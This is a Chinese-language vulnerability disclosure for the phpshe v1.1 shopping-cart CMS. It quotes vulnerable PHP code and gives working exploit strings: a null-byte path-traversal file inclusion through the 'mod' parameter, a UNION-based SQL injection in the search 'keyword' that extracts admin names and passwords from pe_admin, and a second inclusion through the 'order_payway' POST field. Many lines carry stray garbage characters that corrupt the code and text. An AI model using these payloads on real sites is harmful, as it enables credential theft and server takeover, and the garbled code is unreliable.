phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
; Y" r2 ?& z' c/* ========================
4 D- ^7 c4 I$ L! I/ B) p. q9 ~/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
  h& F7 V: D6 s) b1 K1 R' Y& X. R) ^* a0×00 整体大概参数传输
+ h: t" _: D! ?% ~


//common.php
/ Z: K. v2 d$ c' G3 _) `8 Dif (get_magic_quotes_gpc()) {
  `9 ?6 v' c& |1 |!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
# K/ ^7 k+ {  d9 N!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% m% ^, d; N. h8 `7 y0 o}
. X5 J7 Y1 m/ q+ G; c, f( eelse {
4 S0 u4 ~, O! Q; b/ f!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
  S" a8 J; s5 G* B' q}
" C* B! J4 A  O$ a/ hsession_start();
5 M$ k/ u/ D; p!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
) @/ s) z' @8 _8 Z5 B3 X  T!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; B/ d2 k5 T0 d9 ]
0×01 包含漏洞

1 C" J0 [# j6 K2 s; v' u
//首页文件
) I$ X. n/ |$ ?2 Z* \! Q5 c' G<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
' ^2 W+ s4 F. @) K* h, Qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
! z0 D+ l+ Q- A?>
//common 文件 第15行开始
- \; `& ?0 A& Murl路由配置
$module = $mod = $act = 'index';
3 T( G2 K  r5 n& l4 M  Y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
  u5 ]% q- {! v2 t% v$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, t- b3 m/ \( Q9 f5 d6 \//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 N) s2 d0 e* N" c3 l

, J# p* ~% l  }  b+ d. Q" ^
* x6 ^$ E( o( V. [2 z- y8 g 0×02 搜索注入
/ @7 g) ?/ D6 c* \0 l1 Q6 \4 V
& H( i" b" c, q! d/ j/ q<code id="code2">

//product.php文件
" k) k0 X. N2 u1 ?# U* g5 s3 C. gcase 'list':
4 x7 ?- E# N4 C# i$ y7 x2 c$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
! x5 j8 v/ J% f+ [9 z//搜索
1 v, H4 c7 Q+ C% Q3 C6 C) n$sqlwhere = " and `product_state` = 1";
4 ?9 m. m0 U4 j1 o7 [, f$ Q1 ope_lead('hook/category.hook.php');
! V& q+ s. p; m- [# lif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 P) f$ ]+ `; A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
  {5 @. K/ Y0 _: _3 hif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
( {( T6 x. w9 i% ?. D0 n, E1 U9 N$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
% o- c7 ?& v7 {( N$sqlwhere .= " order by `product_id` desc";
8 O7 o( D7 Y( V& w  g5 S0 [7 x4 |}
) M  \9 X9 |) f! }, K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
9 w7 L' K& i* I6 m" b* o- z4 B9 W( {//当前路径
0 B; t) m6 T' G, u2 O8 a7 F$nowpath = category_path($category_id);
& K% J3 b6 x* a3 @/ U# {$seo = pe_seo($info['category_name']);
0 a0 V" P2 s8 O8 binclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
( @0 V! @5 ^* V; ]/ e: O! hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& L' `! q  B" W0 b. C}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

4 C; B5 q7 I0 P, u0 p0×03 包含漏洞2
0 k6 o% {+ H- A; P+ |
<code id="code3">

//order.php

case 'pay':

* |+ K8 [+ h& M# z4 c5 |$order_id = pe_dbhold($_g_id);

. J2 g# l% M- r) J5 Q6 X! K$cache_payway = cache::get('payway');

0 N" Y7 a$ H9 @) q# h1 R5 Jforeach($cache_payway as $k => $v) {

* T4 w, _9 j" Y) T5 {$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 ]% w  E( E2 Q/ k4 Z% m2 `}

6 K; r. F4 k! ]$ J4 D: R* L}

1 b: b5 g( C; q  `8 V% I0 b$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

' l- F3 ~6 V+ I. |!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

; b- j5 O0 C: h+ P( R7 P3 `, fif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) u  g. m7 O) ]4 ]$ [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

# k7 n; l& J& {0 W( G$order['order_name'] .= "{$v['product_name']};";
" L. i' [. k( b  j- C5 o$ q

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ {7 _0 |2 ^4 K}//当一切准备好的时候就可以进行"鸡肋包含了"

; e# _6 Z6 i; X4 \else {

+ G& G! ]9 ^3 Hpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

9 s* G( c0 e, J/ w" r4 T& einclude(pe_tpl('order_pay.html'));

5 r, t! T+ H/ B, ]4 pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
0 U8 B  J! J, n6 R2 }9 e